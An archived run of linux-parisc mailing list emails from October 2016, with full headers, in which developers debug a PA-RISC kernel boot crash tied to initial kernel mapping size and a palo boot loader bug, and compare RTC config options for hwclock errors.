You probably are facing one or both of those problems:
1. Your kernel is bigger than the initial kernel mappings
2. You face a bug in the palo boot loader.

Regarding 1, you probably have CONFIG_TRACE=y or CONFIG_TEST_RHASHTABLE=y enabled?
Both increase the kernel size a lot and trigger this bug. 
To fix it, make sure you have this patch in your kernel (it's upstream):
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=690d097c00c88fa9d93d198591e184164b1d8c20

Additionally if people (not you) use a 32bit kernel I suggest this one too (in my for-next tree):
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=for-next&id=96c65e4d1c77f461b34161dc8e6f2db7c50fd3e8

Both patches increase the initial kernel page mappings to 32MB which should be sufficient.

Even if you fix the kernel with the patches above, you still may run
into the palo bug. I've just pushed a fix for it into the palo tree:
https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/commit/?id=70bd7a9a41e318c0575755a78c4d18ad97495c47

If you rebuild palo, please make sure to install the new ipl boot loader into
the palo partition of your boot disc. palo should report at bootup version 1.96.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc hardware clock
Date: Sat, 8 Oct 2016 23:20:17 +0200
Lines: 99
Approved: news@gmane.org
Message-ID: <57F96311.8010808@gmx.de>
References: <alpine.LRH.2.20.1610090107540.12761@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1475961640 10642 195.159.176.226 (8 Oct 2016 21:20:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 8 Oct 2016 21:20:40 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
To: Meelis Roos <mroos@linux.ee>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 08 23:20:36 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bsz2e-0000aB-O7
	for glpp-linux-parisc@m.gmane.org; Sat, 08 Oct 2016 23:20:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752131AbcJHVUZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 8 Oct 2016 17:20:25 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:54924 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751505AbcJHVUZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 8 Oct 2016 17:20:25 -0400
Original-Received: from [192.168.20.60] ([92.203.45.129]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0LxLcc-1anOf33s0w-016vqx; Sat, 08 Oct 2016 23:20:20
 +0200
In-Reply-To: <alpine.LRH.2.20.1610090107540.12761@math.ut.ee>
X-Provags-ID: V03:K0:LN8+yxNJ+nR2zsK3/LiYbbge2zH8M6ee4NkG+f1L7sReHMqEetT
 LSAaUeyyLAtzFUpM/LpB/byD7erCArUJwAllQReRSN5VM+4X1PKyxXtxzsQaGlJyTpcXy7R
 By2KHY2MDPulOqiZ/qLVTd3sKw2+4a3YhJzi0/wgAxk172Ok7sFd30ie8g1M3ZDw+JxfreJ
 rrst94d7B6BtRTyGvBcYg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:nazyx5R6NBU=:+8PsxApvZIRTZOvB48xgEP
 XfebpqBgtvxK9+TzSjCV4Jzh9fxjIxjhemXcSRY9JRMU0ESmo1dys6NwXjKeVj4jiVySMDdw0
 uj+8PDVTj8e94aUkvLaQSyBjknVJeMfoyHo9idALevqtv9/47UlOKzzo9Fq0jJLAloCZshXGg
 O0N4xBLbZfoaTFQU0fI68rb2xMqeIjgCWmWy/EDXX7iSV/IyApDfXfuOYNx/ySGYa6Wfh2zVZ
 sVS+Dh+tfOEqpG6uoxqpdsIFEELlNgoJVRWM3rxTrk5wPX8xlyaQiEB/XuXpUytspjBBCHapx
 Fbi0Uv5pKMDn9nj3+BUSe8i6zXq1SfwoIGAxwWRPquwVRfwP2Hwtf8x3St839EbyulKdULItm
 LQqcXOWmre6M0JEh9jf+QAAc3DknSuFo2Dyk2XaVHS2Mpgv7OCKyaLXEM4c98S+jTUonu4Eo7
 xckmNZvVpzzMG8ufi82edVxO0ZNEhJLqjWEeHzLrnwTYo6rJPleE+ysJIhPcD/zSbNoFpKvKZ
 wuGdA+ebizzX+vDEvkYUCzjLl77SYxNnYwZkOIP1/4xoNUCjDWbfmbJHbv1YSR+1scy13EKMM
 +j4oJSW7qK1c6gWoGZECHqraiysHOkqwbnkOrXIUd8Es3K0mNUlmTmi6510fGCfsfq/mGCERU
 B3/mBnW+LkRO5aNRNcZIyCFW14DZfiEh5isepa6jPkg873HkbuL/WUuZkuFPgiqa3gYzeE+Pj
 u9+pzGLzHoNuKbq/A2wotKbstehSt6dP3gGq83V5JQyanNXvMX9XAuXHkgoOF2Z+rVZu35dy 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26983
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26983>

On 09.10.2016 00:16, Meelis Roos wrote:
> On my Gentoo hppa systems with custom kernels, I get the following 
> error on bootup:
> 
>  * Setting system clock using the hardware clock [UTC] ...
> hwclock: settimeofday() failed: Invalid argument
>  * Failed to set the system clock

I don't see this on debian...

> Once the system has booted up, hwclock --hctosys and hwclock --systohc 
> work fine. Maybe something related to gentoo /etc/init.d/hwclock but 
> before reporting it there I want to understand it first.
> 
> 
> What RTC driver and options should be selected in the kernel for RTC 
> operations to work?
> 
> I have only RTC_DRV_GENERIC set for RTC drivers.

I have pretty much the same config options:
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_SYSTOHC_DEVICE="rtc0"
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
CONFIG_RTC_I2C_AND_SPI=y
CONFIG_RTC_DRV_GENERIC=y

The only difference seems to be that I don't have
 CONFIG_RTC_INTF_DEV_UIE_EMUL=y

Helge

 
> 
> CONFIG_RTC_LIB=y
> CONFIG_RTC_CLASS=y
> CONFIG_RTC_HCTOSYS=y
> CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
> CONFIG_RTC_SYSTOHC=y
> CONFIG_RTC_SYSTOHC_DEVICE="rtc0"
> # CONFIG_RTC_DEBUG is not set
> 
> #
> # RTC interfaces
> #
> CONFIG_RTC_INTF_SYSFS=y
> CONFIG_RTC_INTF_PROC=y
> CONFIG_RTC_INTF_DEV=y
> CONFIG_RTC_INTF_DEV_UIE_EMUL=y
> # CONFIG_RTC_DRV_TEST is not set
> #
> # I2C RTC drivers
> #
> 
> #
> # SPI RTC drivers
> #
> 
> #
> # SPI and I2C RTC drivers
> #
> 
> #
> # Platform RTC drivers
> #
> # CONFIG_RTC_DRV_DS1286 is not set
> # CONFIG_RTC_DRV_DS1511 is not set
> # CONFIG_RTC_DRV_DS1553 is not set
> # CONFIG_RTC_DRV_DS1685_FAMILY is not set
> # CONFIG_RTC_DRV_DS1742 is not set
> # CONFIG_RTC_DRV_DS2404 is not set
> # CONFIG_RTC_DRV_STK17TA8 is not set
> # CONFIG_RTC_DRV_M48T86 is not set
> # CONFIG_RTC_DRV_M48T35 is not set
> # CONFIG_RTC_DRV_M48T59 is not set
> # CONFIG_RTC_DRV_MSM6242 is not set
> # CONFIG_RTC_DRV_BQ4802 is not set
> # CONFIG_RTC_DRV_RP5C01 is not set
> # CONFIG_RTC_DRV_V3020 is not set
> 
> #
> # on-CPU RTC drivers
> #
> CONFIG_RTC_DRV_GENERIC=y
> 
> #
> # HID Sensor RTC drivers

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc hardware clock
Date: Sat, 8 Oct 2016 23:47:43 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <57F9697F.2030902@gmx.de>
References: <alpine.LRH.2.20.1610090107540.12761@math.ut.ee>
 <57F96311.8010808@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1475963285 3858 195.159.176.226 (8 Oct 2016 21:48:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 8 Oct 2016 21:48:05 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
To: Meelis Roos <mroos@linux.ee>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 08 23:48:01 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bszTB-0007Tp-9X
	for glpp-linux-parisc@m.gmane.org; Sat, 08 Oct 2016 23:47:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752115AbcJHVru (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 8 Oct 2016 17:47:50 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:61292 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751099AbcJHVru (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 8 Oct 2016 17:47:50 -0400
Original-Received: from [192.168.20.60] ([92.203.45.129]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0M2t0Q-1b3v1D0I6A-00sdot; Sat, 08 Oct 2016 23:47:45
 +0200
In-Reply-To: <57F96311.8010808@gmx.de>
X-Provags-ID: V03:K0:YtvtNs4K0mtCGF/3URJwrmSsPXZaJT8p5RSVVPkNph7e69RwYAl
 c3L6CJi+1PSUKjVd7LXm0bv5QcrJQLSlDnACX1764+a2715Bp+i+ebDSP/qFcii/kT+HBaM
 1F/Jf+WFfCR52pgsSeKdLK/jvwX2w8YoQQaLZHLDCKi3FxCmmnD2/vwXI8M55OWoE8fPnvf
 22qRnvDllxJ9dHn/F/SZA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:SIuzFlDaw0A=:W6CXUWA8N13O1T0UaBXiV/
 5UjAgIN94LP9XghAPe80CJ8ctpogaHPDW3MqV5AQjugZGCXxfFWNhSnH3uY3OaBAhCPmC3gwZ
 GlSecUxg+QxB7Rg4eP3/Se54waepwJfmY4BqIC9S1XCbUIcr+UBtYioJP9kEs+Qb6ughIpKDN
 5Q5R+rhJZkOb4JOV4mrVBozqIC6KfBoncoWvtOMyBbfLv7sZWgtrTw3dROW1a4nSRVHzVkJlk
 Ru3dvvExSsFwxFVxmeIzAHew6BECDYbB/pjlqK3te7XoLVRoDc65ouXMiSOCtfEhJtmo18vPm
 I9VeP/gFl/9cm6715DfDSOlELwBDeB8VfMt14eX6tG608ehPrIkEhY38Bq59oByb5Sa+XO+9N
 1SmD3It1UzGbRc8uUqyjZK/WjUj/pCkcA4ZJGfVg5AzdblVEjYKuFD0ARejP9Zp9bYURczSvq
 SOYLV2YylpplstwnjxnGyHRuulk9Fe/u1buC/V63+u1bYu5+nR6xxm3nWiC8AgicjsUdxwaPY
 NbyKYedAj+6i6d0FG+tg0GRkRC951R02AZ/WDvuPKrV+hoZYaMZ/Ld4UOYX5YSRpiqwSvlDb9
 P5cin+fFaekWtWt98qDgHsEoBRrge6PRVYMTxNAh/d16Ta94aoL1hrS5BGrEkECZm0tu4yCIW
 dtccH2aJgKgBMdZl46jdvIUrVFC7F47T62gd+jX531gpkHNkMUee2QFWZbmA5fL0rjnrPGc7T
 JM1QwaVgWKkpK4LjXdCyODxUQ8ur4D80cqtlod+Px0tnz+iZzRo6biaCmdC+MOoiDYjR3ypw 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26984
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26984>

On 08.10.2016 23:20, Helge Deller wrote:
> On 09.10.2016 00:16, Meelis Roos wrote:
>> On my Gentoo hppa systems with custom kernels, I get the following 
>> error on bootup:
>>
>>  * Setting system clock using the hardware clock [UTC] ...
>> hwclock: settimeofday() failed: Invalid argument
>>  * Failed to set the system clock
> 
> I don't see this on debian...

I see it at shutdown (32bit kernel):
hwclock: ioctl(RTC_SET_TIME) to /dev/rtc0 to set the time failed.: Invalid argument

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc crash on boot with 4.8+git
Date: Sun, 9 Oct 2016 12:03:25 +0300 (EEST)
Lines: 84
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1610091032210.12761@math.ut.ee>
References: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee> <57F96010.1040309@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1475998393 736 195.159.176.226 (9 Oct 2016 07:33:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 9 Oct 2016 07:33:13 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: Linux Kernel list <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 09 09:33:08 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bt8bV-0007Bo-Qz
	for glpp-linux-parisc@m.gmane.org; Sun, 09 Oct 2016 09:33:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753229AbcJIHdD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 9 Oct 2016 03:33:03 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:36357 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753177AbcJIHdC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 9 Oct 2016 03:33:02 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id 2CDD873D65C;
        Sun,  9 Oct 2016 10:32:57 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id DAAAC22161C; Sun,  9 Oct 2016 12:03:25 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id D7C3E2214AA;
        Sun,  9 Oct 2016 12:03:25 +0300 (EEST)
In-Reply-To: <57F96010.1040309@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26985 gmane.linux.kernel:2323622
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26985>

> On 08.10.2016 23:52, Meelis Roos wrote:
> > Just tried 4.8.0-11288-gb66484c on three of my parsic machines (enabled 
> > strict usercopy checking or somethinng like that in make oldconfig).
> 
> It's not related to the usercopy checks, instead it's most likely a
> parisc-specific problem I just noticed today as well and which I'm 
> currently fixing.
>  
> > rp3440 worked fine. a500 and rp3410 cras on boot.
> > 
> > rp3410 crashed on boot with the following:
> > 
> > Linux version 4.8.0-11288-gb66484c (mroos@rp3410) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #81 Sat Oct 8 20:40:24 EEST 2016
> > unwind_init: start = 0x4076e980, end = 0x407a7060, entries = 14446
> > The 64-bit Kernel has started...
> > Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
> > bootconsole [ttyB0] enabled
> > ...
> > Memory Ranges:
> >  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
> >  1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
> > Total Memory: 2046 MB
> > Backtrace:
> >  [<0000000040102d40>] paging_init+0x5e0/0x740
> >  [<0000000040103744>] setup_arch+0x16c/0x1b0
> >  [<0000000040100ce0>] start_kernel+0xb8/0x668
> > 
> > Bad Address (null pointer deref?): Code=15 regs=00000000408034c0 (Addr=000000099cf94000)
> 
> You probably are facing one or both of those problems:
> 1. Your kernel is bigger than the initial kernel mappings
> 2. You face a bug in the palo boot loader.
> 
> Regarding 1, you probably have CONFIG_TRACE=y or CONFIG_TEST_RHASHTABLE=y enabled?
> Both increase the kernel size a lot and trigger this bug. 

# CONFIG_TEST_RHASHTABLE is not set

There is no CONFIG_TRACE in my .config.

grep TRACE .config gives
CONFIG_STACKTRACE_SUPPORT=y
# CONFIG_TREE_RCU_TRACE is not set
CONFIG_SYSCTL_EXCEPTION_TRACE=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
# CONFIG_TRACE_SINK is not set
# CONFIG_STACKTRACE is not set
# CONFIG_RCU_TRACE is not set
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_SYSCALL_TRACEPOINTS=y
# CONFIG_FTRACE is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
CONFIG_TRACE_IRQFLAGS_SUPPORT=y

> To fix it, make sure you have this patch in your kernel (it's upstream):
> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=690d097c00c88fa9d93d198591e184164b1d8c20

I saw this batch of parisc changes in mainline, that's why I built new 
kernels for test and then I got the error. 4.8.0-11288-gb66484c is the 
version I ran, with the commit AFAIK.
 
> Additionally if people (not you) use a 32bit kernel I suggest this one too (in my for-next tree):
> http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=for-next&id=96c65e4d1c77f461b34161dc8e6f2db7c50fd3e8
> 
> Both patches increase the initial kernel page mappings to 32MB which should be sufficient.
> 
> Even if you fix the kernel with the patches above, you still may run
> into the palo bug. I've just pushed a fix for it into the palo tree:
> https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/commit/?id=70bd7a9a41e318c0575755a78c4d18ad97495c47
> 
> If you rebuild palo, please make sure to install the new ipl boot loader into
> the palo partition of your boot disc. palo should report at bootup version 1.96.
> 
> Helge
> 

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc crash on boot with 4.8+git
Date: Sun, 9 Oct 2016 11:06:39 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <57FA089F.1020301@gmx.de>
References: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee>
 <57F96010.1040309@gmx.de> <alpine.LRH.2.20.1610091032210.12761@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1476004010 1076 195.159.176.226 (9 Oct 2016 09:06:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 9 Oct 2016 09:06:50 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
Cc: Linux Kernel list <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 09 11:06:45 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1btA4D-00083x-2i
	for glpp-linux-parisc@m.gmane.org; Sun, 09 Oct 2016 11:06:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752787AbcJIJGq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 9 Oct 2016 05:06:46 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:50900 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751882AbcJIJGp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 9 Oct 2016 05:06:45 -0400
Original-Received: from [192.168.20.60] ([92.203.45.129]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0Lzc5y-1aosKJ07Bi-014njE; Sun, 09 Oct 2016 11:06:41
 +0200
X-Enigmail-Draft-Status: N1110
In-Reply-To: <alpine.LRH.2.20.1610091032210.12761@math.ut.ee>
X-Provags-ID: V03:K0:lqZ46+y2VEbRq2Arff1oKP7XHH5oAyxXIqbP82aXwpgCPs5bNbx
 HsdSpSb2PhkOukswUdRsYqLMf0e1MBqJhtQL3ScAkCobiRf+rUe7O4byr4O0LpPQqpfU0w1
 Z2xFirLbITWmAd+N+oqosASKJq+pDNv6Xhi+iXmaKFiaK+KO08I8pBV3N4D2GAeAGo7tl0d
 I1xfRkDEnVYyNwPgMqfqA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:pF9Zd69eVU4=:4wRuW0F9mmfFgJj/KII8s5
 9fWMlo0js3gETI6P+7kHjb45iVIxmpCAK2GYRK37ZoWfLtyfkNqqo6GHAyYFGmV/ZVJf/aI+p
 lAGOK3kEwsC7/VV8zhMjBtj1RfN3rOJUPrwt275PxPDVZY3+gt9lvIWYleu2mVzUcAjhhyDNz
 kSsR3MHxANJgnqTF9IIY1cAaVs2ZsKX17f5HPGwomx69bQl06T4SrIzex6T0ooJOPNXgZfCUb
 3KbybxQ9VX8Ux9fpeySWEIQ9sPAyFJIDr327XSlvWmBWetKwasqOnqkhtp/l5FxVHEb8du4ej
 isY/btACmmt3nkXAnQst+Co5vJOoMsj6RG5Qv1t0dQE24KcF8G0ZcvHYlBtsDSuYhGn21Kg+1
 V+25CFV0Begwg4jFRvlWoGFWLuuz7eqBaRd6F9hEhifIYdWQ2Iev9maTE/zBtOnNRc6bMi8Wl
 ayzvpk2ko8ckJxpQIjgcU8dRAaWdrA03D85gyoquVW4Wp+7zvyoN4BQbUSVUA4F5Jn1hwZtmc
 IfN22FPtova+0/X2goN3RcOjZb2OoOFEN/nMTDAPueWJfdp+dJ7jjlig31if91y7MVzZjbdY8
 jih7GKlx0lZ1+d+utqBKsMLRALcGq1cTUN00dZhep8fAnEyQDvNnZXZ0aX699rU5azGtMlZDD
 Y3tDFvnBFMHWYGFetFACSuTdNlgLnAB6CVKF4fTS7102zY7bw54VEEkwKCxfkAN0xjALjrH6Z
 OWrRg3JVp9+2lih4mCghtL3cs3PseYdlmJoIZPB3ixQ7K60n4rl9xMI6QyiczB9so7+Rm7Go 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26986 gmane.linux.kernel:2323626
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26986>

On 09.10.2016 11:03, Meelis Roos wrote:
>> On 08.10.2016 23:52, Meelis Roos wrote:
>>> rp3410 crashed on boot with the following:
>>>
>>> Linux version 4.8.0-11288-gb66484c (mroos@rp3410) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #81 Sat Oct 8 20:40:24 EEST 2016
>>> unwind_init: start = 0x4076e980, end = 0x407a7060, entries = 14446
>>> The 64-bit Kernel has started...
>>> Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
>>> bootconsole [ttyB0] enabled
>>> ...
>>> Memory Ranges:
>>>  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
>>>  1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
>>> Total Memory: 2046 MB
>>> Backtrace:
>>>  [<0000000040102d40>] paging_init+0x5e0/0x740
>>>  [<0000000040103744>] setup_arch+0x16c/0x1b0
>>>  [<0000000040100ce0>] start_kernel+0xb8/0x668
>>>
>>> Bad Address (null pointer deref?): Code=15 regs=00000000408034c0 (Addr=000000099cf94000)
>>
>> You probably are facing one or both of those problems:
>> 1. Your kernel is bigger than the initial kernel mappings
>> 2. You face a bug in the palo boot loader.
>>
>> Regarding 1, you probably have CONFIG_TRACE=y or CONFIG_TEST_RHASHTABLE=y enabled?
>> Both increase the kernel size a lot and trigger this bug. 
> 
> # CONFIG_TEST_RHASHTABLE is not set
> 
> There is no CONFIG_TRACE in my .config.
> # CONFIG_FTRACE is not set

I meant CONFIG_FTRACE (which you don't seem to have enabled).

I just pushed two updated patches to my for-next git tree.
Please pull them on top of Linux head and try again (please update palo before).
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/log/?h=for-next

>> Even if you fix the kernel with the patches above, you still may run
>> into the palo bug. I've just pushed a fix for it into the palo tree:
>> https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/commit/?id=70bd7a9a41e318c0575755a78c4d18ad97495c47
>>
>> If you rebuild palo, please make sure to install the new ipl boot loader into
>> the palo partition of your boot disc. palo should report at bootup version 1.96.

Same here. Please pull latest version, and install it:
https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Increase initial kernel mapping size
Date: Sun, 9 Oct 2016 11:20:08 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20161009092008.GA4478@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1476004830 31002 195.159.176.226 (9 Oct 2016 09:20:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 9 Oct 2016 09:20:30 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 09 11:20:26 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
